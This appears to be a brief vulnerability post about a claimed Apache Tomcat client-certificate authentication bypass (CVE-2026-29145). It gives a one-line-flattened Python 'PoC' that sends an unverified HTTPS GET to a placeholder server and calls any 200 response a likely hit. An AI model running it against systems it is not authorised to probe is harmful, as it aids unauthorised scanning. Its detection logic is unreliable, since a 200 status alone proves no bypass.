CVE-2026-29145 Apache Tomcat认证绕过漏洞

import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def check_vulnerability(target_url): """ PoC for CVE-2026-29145: Apache Tomcat Client Cert Auth Bypass Checks if the target allows access without a valid client certificate when 'soft fail' is disabled. """ try: response = requests.get(target_url, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Potential Vulnerability Detected! Status: {response.status_code}") else: print(f"[-] Not vulnerable or protected. Status: {response.status_code}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "https://example-tomcat-server.com/protected" check_vulnerability(target)